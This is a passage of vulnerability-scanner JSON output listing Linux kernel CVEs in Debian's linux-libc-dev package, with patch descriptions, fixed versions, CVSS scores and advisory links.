"https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45984" ], "PublishedDate": "2026-05-27T14:17:15.64Z", "LastModifiedDate": "2026-10-19T20:18:23.04Z" }, { "VulnerabilityID": "CVE-2026-45994", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45994", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:853222d99ba5289e609f6aeb4ca14d440eea73fd8cc0212e156627b6d4d09328", "Title": "kernel: ibmasm: fix OOB reads in command_file_write due to missing size checks", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmasm: fix OOB reads in command_file_write due to missing size checks\n\nThe command_file_write() handler allocates a kernel buffer of exactly\ncount bytes and copies user data into it, but does not validate the\nbuffer against the dot command protocol before passing it to\nget_dot_command_size() and get_dot_command_timeout().\n\nSince both the allocation size (count) and the header fields (command_size,\ndata_size) are independently user-controlled, an attacker can cause\nget_dot_command_size() to return a value exceeding the allocation,\ntriggering OOB reads in get_dot_command_timeout() and an out-of-bounds\nmemcpy_toio() that leaks kernel heap memory to the service processor.\n\nFix with two guards: reject writes smaller than sizeof(struct\ndot_command_header) before allocation, then after copying user data\nreject commands where the buffer is smaller than the total size declared\nby the header (sizeof(header) + command_size + data_size). This ensures\nall subsequent header and payload field accesses stay within the buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45994", "https://git.kernel.org/linus/0eb09f737428e482a32a2e31e5e223f2b35a71d3%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0eb09f737428e482a32a2e31e5e223f2b35a71d3", "https://git.kernel.org/stable/c/44ee19422aa82a6847594866de7e5a31e4ef98b3", "https://git.kernel.org/stable/c/7b8a574da5d7ea99b943f7a3458a17a1d95e8838", "https://git.kernel.org/stable/c/a672682d39dd34e2b5ba4feb436723bed65125ff", "https://git.kernel.org/stable/c/aefc1a97da17d8309974690c8a03e439a91ebb1c", "https://git.kernel.org/stable/c/d0fb4d1dc43f8d5179917a2daaa82680993d4cdf", "https://git.kernel.org/stable/c/d50e2019c9d7c433f56d9dff65703eb904aa1fb1", "https://git.kernel.org/stable/c/ee5737891464030a189837467df3b81a273718ad", "https://kernelcve.org/list/?q=CVE-2026-45994", "https://lore.kernel.org/linux-cve-announce/2026052740-CVE-2026-45994-3605@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45994", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45994" ], "PublishedDate": "2026-05-27T14:17:16.97Z", "LastModifiedDate": "2026-06-17T10:52:51.927Z" }, { "VulnerabilityID": "CVE-2026-45996", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45996", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f36bbec2a010865649b58da996219991ad7fb2e711c23f144fce7ebd94a6c27c", "Title": "kernel: spi: imx: fix use-after-free on unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: imx: fix use-after-free on unbind\n\nThe SPI subsystem frees the controller and any subsystem allocated\ndriver data as part of deregistration (unless the allocation is device\nmanaged).\n\nTake another reference before deregistering the controller so that the\ndriver data is not freed until the driver is done with it.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45996", "https://git.kernel.org/linus/1c78c2002380a1fe31bfb01a3d5f29809e55a096%20%287.1-rc1%29", "https://git.kernel.org/stable/c/132e47030b0b5e398e0da6c59df5a5dae9b52cff", "https://git.kernel.org/stable/c/1c78c2002380a1fe31bfb01a3d5f29809e55a096", "https://git.kernel.org/stable/c/385a330083f8dd47c15b02e9a83aef9234a37003", "https://git.kernel.org/stable/c/aa9025a498036b6012769f7af36d421385386c17", "https://git.kernel.org/stable/c/c7c40c3e7b9fb900504aa746de3e53c5275b24bd", "https://git.kernel.org/stable/c/f99165ef067723221472ce1aff632bc74f562643", "https://lore.kernel.org/linux-cve-announce/2026052741-CVE-2026-45996-8dc5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45996", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-45996" ], "PublishedDate": "2026-05-27T14:17:17.18Z", "LastModifiedDate": "2026-11-06T17:17:28.85Z" }, { "VulnerabilityID": "CVE-2026-46004", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46004", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:db2a1667a9a310922e59a1586cb596877cddd0c62803a6f574df765e928956e6", "Title": "kernel: ALSA: caiaq: Handle probe errors properly", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: caiaq: Handle probe errors properly\n\nThe probe procedure of setup_card() in caiaq driver doesn't treat the\nerror cases gracefully, e.g. the error from snd_card_register() calls\nsnd_card_free() but continues. This would lead to a UAF for the\nfurther calls like snd_usb_caiaq_control_init(), as Berk suggested in\nanother patch in the link below.\n\nHowever, the problem is not only that; in general, this function drops\nthe all error handlings (as it's a void function) although its caller\ncan propagate an error to snd_probe(), which eventually calls\nsnd_card_free() as a proper error path. That said, we should treat\neach error case in setup_card(), and just return the error code\npromptly, which is then handled later as a fatal error in snd_probe().\n\nThis patch achieves it by changing the setup_card() to return an error\ncode. Also, the superfluous snd_card_free() call is removed, too.\n\nNote that card-\u003eprivate_free can be set still safely at returning an\nerror. All called functions in card_free() have checks of the\nunassigned resources or NULL checks.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 1, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46004", "https://git.kernel.org/linus/28abd224db4a49560b452115bca3672a20e45b2f%20%287.1-rc1%29", "https://git.kernel.org/stable/c/09616e25f502080ba684fc7fcf959d1376ab756d", "https://git.kernel.org/stable/c/096dd8519cf2f768e9e14f224b627f7aaee1a9c5", "https://git.kernel.org/stable/c/28abd224db4a49560b452115bca3672a20e45b2f", "https://git.kernel.org/stable/c/6251e3e256337a30160ef59ab1580dde4d1acd28", "https://git.kernel.org/stable/c/b956e48371f2ff72b76be9a829800ecec963bd45", "https://git.kernel.org/stable/c/da938aa9fc7826901921dcea225948ab21a97e45", "https://git.kernel.org/stable/c/e59ecd4ee3a450db6cb4e4ecaa3efdd593f80056", "https://git.kernel.org/stable/c/f537e3ad69609f6924a4db6b4a7f6561f5288bdd", "https://linux.oracle.com/cve/CVE-2026-46004.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052742-CVE-2026-46004-7e24@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46004", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46004" ], "PublishedDate": "2026-05-27T14:17:18.12Z", "LastModifiedDate": "2026-11-06T17:17:29.92Z" }, { "VulnerabilityID": "CVE-2026-46006", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46006", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a537cc53e871b59636507069e3282aaedc4de0408192dc50c12fe0fb0067360", "Title": "kernel: drm/nouveau: fix u32 overflow in pushbuf reloc bounds check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: fix u32 overflow in pushbuf reloc bounds check\n\nnouveau_gem_pushbuf_reloc_apply() validates each relocation with\n\n if (r-\u003ereloc_bo_offset + 4 \u003e nvbo-\u003ebo.base.size)\n\nbut reloc_bo_offset is __u32 (uapi/drm/nouveau_drm.h) and the integer\nliteral 4 promotes to unsigned int, so the addition is performed in 32\nbits and wraps before the comparison against the size_t bo size.\n\nCast to u64 so the addition happens in 64-bit arithmetic.\n\n[ Add Fixes: tag. - Danilo ]", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46006", "https://git.kernel.org/linus/2fc87d37be1b730a149b035f9375fdb8cc5333a5%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2fc87d37be1b730a149b035f9375fdb8cc5333a5", "https://git.kernel.org/stable/c/332884f5eb79dd60a7162b079d09d39208567a31", "https://git.kernel.org/stable/c/3429275684f4bad42876955301f3c5c814aae909", "https://git.kernel.org/stable/c/45a45184b9c0b0b26ead06e370cda2073616a7cc", "https://git.kernel.org/stable/c/573a1104bd36e49c067a9dc62e7c476d5ee7e92a", "https://git.kernel.org/stable/c/d749a9a0ee4014681487e7ae549901aa8c176637", "https://git.kernel.org/stable/c/e441d5c23ec644c8d27593db3b8928e8933512a9", "https://git.kernel.org/stable/c/fa297e919d1680c38ab268ff952b1698dac987f6", "https://linux.oracle.com/cve/CVE-2026-46006.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052743-CVE-2026-46006-2a21@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46006", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46006" ], "PublishedDate": "2026-05-27T14:17:18.353Z", "LastModifiedDate": "2026-06-19T13:16:31.807Z" }, { "VulnerabilityID": "CVE-2026-46022", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46022", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eedafb9723b8d1ce072252b9d93acf375fe7daea42804beae6ed3971eb81bf8e", "Title": "kernel: misc: ibmasm: fix OOB MMIO read in ibmasm_handle_mouse_interrupt()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmisc: ibmasm: fix OOB MMIO read in ibmasm_handle_mouse_interrupt()\n\nibmasm_handle_mouse_interrupt() performs an out-of-bounds MMIO read\nwhen the queue reader or writer index from hardware exceeds\nREMOTE_QUEUE_SIZE (60).\n\nA compromised service processor can trigger this by writing an\nout-of-range value to the reader or writer MMIO register before\nasserting an interrupt. Since writer is re-read from hardware on\nevery loop iteration, it can also be set to an out-of-range value\nafter the loop has already started.\n\nThe root cause is that get_queue_reader() and get_queue_writer() return\nraw readl() values that are passed directly into get_queue_entry(),\nwhich computes:\n\n queue_begin + reader * sizeof(struct remote_input)\n\nwith no bounds check. This unchecked MMIO address is then passed to\nmemcpy_fromio(), reading 8 bytes from unintended device registers.\nFor sufficiently large values the address falls outside the PCI BAR\nmapping entirely, triggering a machine check exception.\n\nFix by checking both indices against REMOTE_QUEUE_SIZE at the top of\nthe loop body, before any call to get_queue_entry(). On an out-of-range\nvalue, reset the reader register to 0 via set_queue_reader() before\nbreaking, so that normal queue operation can resume if the corrupted\nhardware state is transient.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46022", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/4b6e6ead556734bdc14024c5f837132b1e7a4b84%20%287.1-rc1%29", "https://git.kernel.org/stable/c/07c4f18b303106e6b24492c12b95d48a4b985841", "https://git.kernel.org/stable/c/1ca75f6b74ec7f685464e5745ecfcf3a76d284e9", "https://git.kernel.org/stable/c/22a16d3eafee92a165c756081587c95850127107", "https://git.kernel.org/stable/c/4b6e6ead556734bdc14024c5f837132b1e7a4b84", "https://git.kernel.org/stable/c/6f6ecc9153df176e956d0664b56f93080b0a45f0", "https://git.kernel.org/stable/c/bac8643486f854dd53af9b23aea7dbbd9b7c1865", "https://git.kernel.org/stable/c/f7e5b4eefd7be3e09f8bd5fee63ed478fd7446ab", "https://git.kernel.org/stable/c/fc7e9a74e32299d7e93e178ca482a0b59ef1595b", "https://kernelcve.org/list/?q=CVE-2026-46022", "https://lore.kernel.org/linux-cve-announce/2026052747-CVE-2026-46022-f6dc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46022", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46022" ], "PublishedDate": "2026-05-27T14:17:20.67Z", "LastModifiedDate": "2026-10-15T02:19:38.767Z" }, { "VulnerabilityID": "CVE-2026-46033", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46033", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:205f61b5ba94c04be59e89250c39035a93d256b50f568d4b649aebf906ccd4ef", "Title": "kernel: crypto: authencesn - reject short ahash digests during instance creation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: authencesn - reject short ahash digests during instance creation\n\nauthencesn requires either a zero authsize or an authsize of at least\n4 bytes because the ESN encrypt/decrypt paths always move 4 bytes of\nhigh-order sequence number data at the end of the authenticated data.\n\nWhile crypto_authenc_esn_setauthsize() already rejects explicit\nnon-zero authsizes in the range 1..3, crypto_authenc_esn_create()\nstill copied auth-\u003edigestsize into inst-\u003ealg.maxauthsize without\nvalidating it. The AEAD core then initialized the tfm's default\nauthsize from that value.\n\nAs a result, selecting an ahash with digest size 1..3, such as\ncbcmac(cipher_null), exposed authencesn instances whose default\nauthsize was invalid even though setauthsize() would have rejected the\nsame value. AF_ALG could then trigger the ESN tail handling with a\ntoo-short tag and hit an out-of-bounds access.\n\nReject authencesn instances whose ahash digest size is in the invalid\nnon-zero range 1..3 so that no tfm can inherit an unsupported default\nauthsize.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-1284" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46033", "https://bugzilla.redhat.com/show_bug.cgi?id=2482000", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/5db6ef9847717329f12c5ea8aba7e9f588a980c0%20%287.1-rc2%29", "https://git.kernel.org/stable/c/2f31cd1e64a079c845bca31d2da7b3c90a311726", "https://git.kernel.org/stable/c/5db6ef9847717329f12c5ea8aba7e9f588a980c0", "https://git.kernel.org/stable/c/67f1f0933cc3d78dde222842bcad2778ec7a0b88", "https://git.kernel.org/stable/c/77f59fb2d3aa33e90ec6cbbf45dcfb20ab82b1a9", "https://git.kernel.org/stable/c/9aff81e8217e9de2929084b03b3c7f81988c112b", "https://git.kernel.org/stable/c/b42821c15445f93daea3e76ada682b2b7181c476", "https://git.kernel.org/stable/c/b69933e97efea238ebbfcf70c2b1be1cd03f13e3", "https://git.kernel.org/stable/c/d4c6a6d08e70bb1083c7c405fc7faacbf19aebc0", "https://linux.oracle.com/cve/CVE-2026-46033.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052749-CVE-2026-46033-dcad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46033", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46033.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", 